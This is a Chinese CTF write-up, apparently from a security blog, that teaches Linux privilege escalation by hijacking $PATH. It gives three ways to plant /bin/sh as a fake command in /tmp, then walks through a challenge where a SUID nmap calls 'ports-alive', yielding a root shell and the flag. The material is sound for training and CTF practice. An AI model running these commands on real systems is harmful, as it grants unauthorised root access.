这题考察的是linux的环境变量提权。
在Linux系统中,环境变量是用来定义系统运行环境的一些参数,比如每个用户不同的home目录。最常见的环境变量就是$PATH,查看一下$PATH具有有哪些内容。
上面echo的路径都是一些可以找到可执行程序的目录列表。当我们输入一个指令时,shell会先检查命令是否是系统内部命令,如果不是则会再去检查此命令是否是一个应用程序,shell会试着从PATH中寻找这些应用程序。
SUID权限是一种特殊的文件权限。当一个文件被赋予了SUID权限,其他用户在执行这个文件时,其权限会暂时提升到该文件所有者的权限。这在某些需要高级权限才能执行的操作中非常有用。比如,passwd命令就需要SUID权限,因为它需要修改系统的密码文件,通常需要root权限。
SGID权限与SUID权限类似,但它影响的是文件的组权限而不是所有者权限。当一个文件被赋予了SGID权限,其他用户在执行这个文件时,其权限会暂时提升到该文件所属组的权限。
当我们找到了具有SUID权限的文件,用户的环境变量可以自定义,那我们让另一个位置的环境配置在当前环境之前,就可以进行环境变量的劫持了。
有以下三种方法:
1. echo命令法
```shell
echo "/bin/bash" > /tmp/su
chmod 777 /tmp/su
echo $PATH
export PATH=/tmp:$PATH
```
2. cp法
```shell
cp /bin/sh /tmp/su
export PATH=/tmp:$PATH
```
3. 软链接法
```shell
ln -s /bin/sh /tmp/su
export PATH=/tmp:$PATH
```
以上三种方法的总体思路就是把/bin/sh写入到另一个文件中,然后将当前文件所在的目录加入到环境变量中。进入到当前文件所在目录,执行当前文件就相当于执行/bin/sh,然后就可以以root权限运行了,提权成功。
知识点讲完,回到题目。
找到具有SUID权限的文件。
find / -perm -u=s -type f 2>/dev/null
找到唯一的具有suid权限的文件:nmap。
-rwsr-xr-x 1 root root 931712 Jul 17 09:46 /bin/nmap
执行一下nmap,发现nmap会调用ports-alive文件。
/bin $ nmap 123
nmap 123
sh: ports-alive: not found
于是我们在/tmp目录下,将/bin/sh写入ports-alive,并且将/tmp加入环境变量。
cd /tmp
echo "/bin/sh" > ports-alive
chmod +x ports-alive
export PATH=/tmp:$PATH
接着返回/bin目录,运行一下nmap,这时由于他会去调用ports-alive,所以先去环境变量中找到了/tmp目录下的ports-alive,结果执行了/bin/sh,获得root权限。既然有了root权限,还怕找不到flag吗。
/bin $ ./nmap 123
./nmap 123
/bin # whoami
whoami
root # 提权到root
/bin # cat /flag
cat /flag
flag{xxxxxxx}
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
Track-魔方
发表于 2023-9-7
金币奖励与文章 “NepCTF-ez_java_checkin” 放在一起打赏,期待同学能有更多的实战相关文章产出~
评论列表
加载数据中...